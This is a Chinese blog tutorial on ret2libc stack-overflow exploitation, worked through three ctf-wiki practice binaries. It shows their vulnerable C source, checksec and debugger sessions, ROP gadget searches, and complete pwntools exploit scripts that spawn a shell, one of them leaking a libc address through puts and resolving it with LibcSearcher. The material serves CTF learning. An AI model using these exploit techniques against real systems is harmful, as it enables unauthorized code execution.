Ret2libc

三生三世十里桃花 她就像是一道疤
像风像雨像飞沙 像空气一样难抓


简介

ret2libc就是控制函数的执行libc中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),因此我们通常需要找到 system 函数的地址
ret2libc通常可以分为下面这几类:

  • 程序中自身就含有system函数和"/bin/sh"字符串
  • 程序中自身就有system函数,但是没有"/bin/sh"字符串
  • 程序中自身就没有system函数和"/bin/sh"字符串,但给出了libc.so文件
  • 程序中自身就没有system函数和"/bin/sh"字符串,并且没有给出libc.so文件

基本思路

不管程序没有直接给出我们需要条件,我们都要想办法找到system()函数的地址和"/bin/sh"字符串的地址;当程序中没有"/bin/sh"字符串时,我们可以利用程序中某些函数如:read,fgets,gets等函数将"/bin/sh"字符串写入bss段或某个变量中,并且要可以找到其地址;对于只给出了libc.so文件的程序,我们可以直接在libc.so文件当中去找system()函数和"/bin/sh"字符串,因为libc.so文件中也是包含这些了的;最后对于没有给出libc.so文件的程序,我们可以通过泄露出程序当中的某个函数的地址,通过查询来找出其使用lib.so版本是哪一个
我们以ctf-wiki中例子来看看具体方法


ret2libc1

ret2libc1的源码

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

char *shell = "/bin/sh";
char buf2[100];

void secure(void)
{
    int secretcode, input;
    srand(time(NULL));

    secretcode = rand();
    scanf("%d", &input);
    if(input == secretcode)
        system("shell!?");
}

int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);

    char buf1[100];

    printf("RET2LIBC >_<\n");
    gets(buf1);

    return 0;
}

很明显查询当中有system()函数和"/bin/sh"字符串,并且有一个溢出漏洞
我们先看看它的保护开了哪些:

root@sir-PC:/ret2libc1# checksec ret2libc1
[*] '/ret2libc1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

没有开Stack和PIE,所以思路非常清晰了,只需要用system()函数的plt覆盖返回地址,并且将字符串传进去就可以了
找system()函数的plt位置:

root@sir-PC:/ret2libc1# objdump -dj .plt ret2libc1
...
08048450 <puts@plt>:
 8048450:	ff 25 14 a0 04 08    	jmp    *0x804a014
 8048456:	68 10 00 00 00       	push   $0x10
 804845b:	e9 c0 ff ff ff       	jmp    8048420 <.plt>

08048460 <system@plt>:
 8048460:	ff 25 18 a0 04 08    	jmp    *0x804a018
 8048466:	68 18 00 00 00       	push   $0x18
 804846b:	e9 b0 ff ff ff       	jmp    8048420 <.plt>
...

找字符串的位置和多少字节溢出:

root@sir-PC:/ret2libc1# gdb ret2libc1
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ret2libc1...done.
pwndbg> b main
Breakpoint 1 at 0x8048621: file ret2libc1.c, line 21.
pwndbg> cyclic 120
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab
pwndbg> r
pwndbg> search "/bin/sh"
ret2libc1       0x8048720 0x6e69622f /* '/bin/sh' */
ret2libc1       0x8049720 '/bin/sh' //字符串地址
libc-2.27.so    0xf7f53988 das     /* '/bin/sh' */
pwndbg> c
Continuing.
RET2LIBC >_<
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
pwndbg> cyclic -l 0x62616164
112 //溢出数

EXP1

from pwn import *
p = process('./ret2libc1')
context.log_level = 'debug'
system_addr = 0x08048460
binsh_addr = 0x8049720
p.recvuntil('RET2LIBC >_<\n')
p.sendline('a'*112 + p32(system_addr) + 'aaaa' + p32(binsh_addr))
p.interactive()

ret2libc2

ret2libc2的源码:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

char buf2[100];

void secure(void)
{
    int secretcode, input;
    srand(time(NULL));

    secretcode = rand();
    scanf("%d", &input);
    if(input == secretcode)
        system("no_shell_QQ");
}

int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);

    char buf1[100];

    printf("Something surprise here, but I don't think it will work.\n");
    printf("What do you think ?");
    gets(buf1);

    return 0;
}

明显看到了system()函数,但是没有看到"/bin/sh"字符串,而且有溢出
看看保护机制:

root@sir-PC:/ret2libc2# checksec ret2libc2
[*] '/ret2libc2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

所以现在思路也非常清晰,我们通过gest()函数向bss段或者直接是buf2中写入"/bin/sh/",然后再将其作为参数传给system()函数,其中这里要用到ROP的技术,即我们payload为:

payload = flat(['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 'aaaa', buf2])

找溢出数和buf2的地址:

root@sir-PC:/ret2libc2# gdb ret2libc2
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ret2libc2...done.
pwndbg> b main
Breakpoint 1 at 0x8048651: file ret2libc.c, line 20.
pwndbg> cyclic 120
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab
pwndbg> r
pwndbg> p &buf2
$2 = (char (*)[100]) 0x804a080 <buf2>
pwndbg> c
Continuing.
Something surprise here, but I don't think it will work.
What do you think ?aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
pwndbg> cyclic -l 0x62616164
112

找gets()和system()函数的plt:

root@sir-PC:/ret2libc2# objdump -dj .plt ret2libc2
...

08048460 <gets@plt>:
 8048460:	ff 25 10 a0 04 08    	jmp    *0x804a010
 8048466:	68 08 00 00 00       	push   $0x8
 804846b:	e9 d0 ff ff ff       	jmp    8048440 <.plt>

...

08048480 <puts@plt>:
 8048480:	ff 25 18 a0 04 08    	jmp    *0x804a018
 8048486:	68 18 00 00 00       	push   $0x18
 804848b:	e9 b0 ff ff ff       	jmp    8048440 <.plt>

08048490 <system@plt>:
 8048490:	ff 25 1c a0 04 08    	jmp    *0x804a01c
 8048496:	68 20 00 00 00       	push   $0x20
 804849b:	e9 a0 ff ff ff       	jmp    8048440 <.plt>

找合适的ROP:

root@sir-PC:/ret2libc2# ROPgadget --binary ret2libc2 --only "pop|ret"
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret //这个就合适,因为我们只有一个数据需要pop掉
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1

Unique gadgets found: 7

EXP2

from pwn import *
p = process('./ret2libc2')
buf2_addr = 0x804a080
gets_addr = 0x8048460
system_addr = 0x8048490
pop_ebx_addr = 0x0804843d
p.recvuntil('What do you think ?')
p.sendline('a'*112 + p32(gets_addr) + p32(pop_ebx_addr) + p32(buf2_addr) + p32(system_addr) + 'aaaa' + p32(buf2_addr))
p.sendline('/bin/sh\x00')
p.interactive()

from pwn import *
proc = './ret2libc2'
p = process(proc)
elf = ELF(proc)
rop = ROP(elf)
rop_ebx = 0x0804843d
p.sendlineafter('?','a'*112 + p32(elf.plt['gets']) + p32(rop.search(8).address) + p32(elf.bss()+0x100) + p32(elf.plt['system']) + 'aaaa' + p32(elf.bss()+0x100))
p.sendline("/bin/sh\x00")
p.interactive()

这两个exp其实都一样的,不过一个向buf2中写数据,一个在bss段写


ret2libc3

ret2libc3的源码:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

char buf2[100];

void secure(void)
{
    int secretcode, input;
    srand(time(NULL));

    secretcode = rand();
    scanf("%d", &input);
    if(input == secretcode)
        puts("no_shell_QQ");
}

int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);

    char buf1[100];

    printf("No surprise anymore, system disappeard QQ.\n");
    printf("Can you find it !?");
    gets(buf1);

    return 0;
}

这程序当中没有system()函数和”/bin/sh“字符串,虽然给出了libc.so文件,但是我们不用,假装我们没有libc
我们还是先检查保护机制:

root@sir-PC:/ret2libc3# checksec ret2libc3
[*] '/ret2libc3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

同样的没有开启Stack和PIE,所以这道题的思路就是利用puts()函数来泄露出某个函数在libc中的地址,然后在这个网站或通过LibcSearcher工具查询地址低12位来确定libc的版本
这道题我是通过puts()函数将__libc_start_main在libc中的地址泄露出来,然后通过LibcSearcher去查找libc的版本,最终得到system()函数和"/bin/sh"字符串的地址
不过需要注意的,这个LibcSearcher工具找到libc版本可能有多个,需要你去判断,而且得到的字符串的地址不一定刚刚好,可能需要通过调试去验证。。。
先查看__libc_start_main的got表地址:

root@sir-PC:/ret2libc3# objdump -R ret2libc3

ret2libc3:     文件格式 elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a040 R_386_COPY        stdin@@GLIBC_2.0
0804a060 R_386_COPY        stdout@@GLIBC_2.0
0804a00c R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   gets@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   time@GLIBC_2.0
0804a018 R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   __gmon_start__
0804a020 R_386_JUMP_SLOT   srand@GLIBC_2.0
0804a024 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0 //这个函数用起方便
0804a028 R_386_JUMP_SLOT   setvbuf@GLIBC_2.0
0804a02c R_386_JUMP_SLOT   rand@GLIBC_2.0
0804a030 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

找puts()函数的plt表:

root@sir-PC:/ret2libc3# objdump -dj .plt ret2libc3

ret2libc3:     文件格式 elf32-i386

Disassembly of section .plt:
...
08048460 <puts@plt>:
 8048460:	ff 25 18 a0 04 08    	jmp    *0x804a018
 8048466:	68 18 00 00 00       	push   $0x18
 804846b:	e9 b0 ff ff ff       	jmp    8048420 <.plt>
...

这里先提一下LibcSearcher的安装及其用法:

安装

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop

用法演示

from LibcSearcher import *

#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)

obj.dump("system")        #system 偏移
obj.dump("str_bin_sh")    #/bin/sh 偏移
obj.dump("__libc_start_main_ret")

如果遇到返回多个libc版本库的情况,可以通过add_condition(leaked_func, leaked_address)来添加限制条件,也可以手工选择其中一个libc版本


EXP3

from pwn import *
from LibcSearcher import LibcSearcher
p = process('./ret2libc3')
context.log_level = 'debug'
start_addr = 0x80484d0
puts_plt_addr = 0x8048460
libc_start_main_got_addr = 0x804a024
p.recvuntil('Can you find it !?')
p.sendline('q'*112 + p32(puts_plt_addr) + p32(start_addr) + p32(libc_start_main_got_addr))
libc_start_main_addr = u32(p.recv(4))
print "__libc_start_main_addr: " + hex(libc_start_main_addr)

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh') + 0xb9
print "system_addr: " + hex(system_addr)
print "binsh_addr: " + hex(binsh_addr)
p.recvuntil('Can you find it !?')
p.sendline('s'*112 + p32(system_addr) + 'aaaa' + p32(binsh_addr))
p.interactive()

总结

这些ret2libc应该是属于ROP技术里面的基本操作,要求熟练掌握…

评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值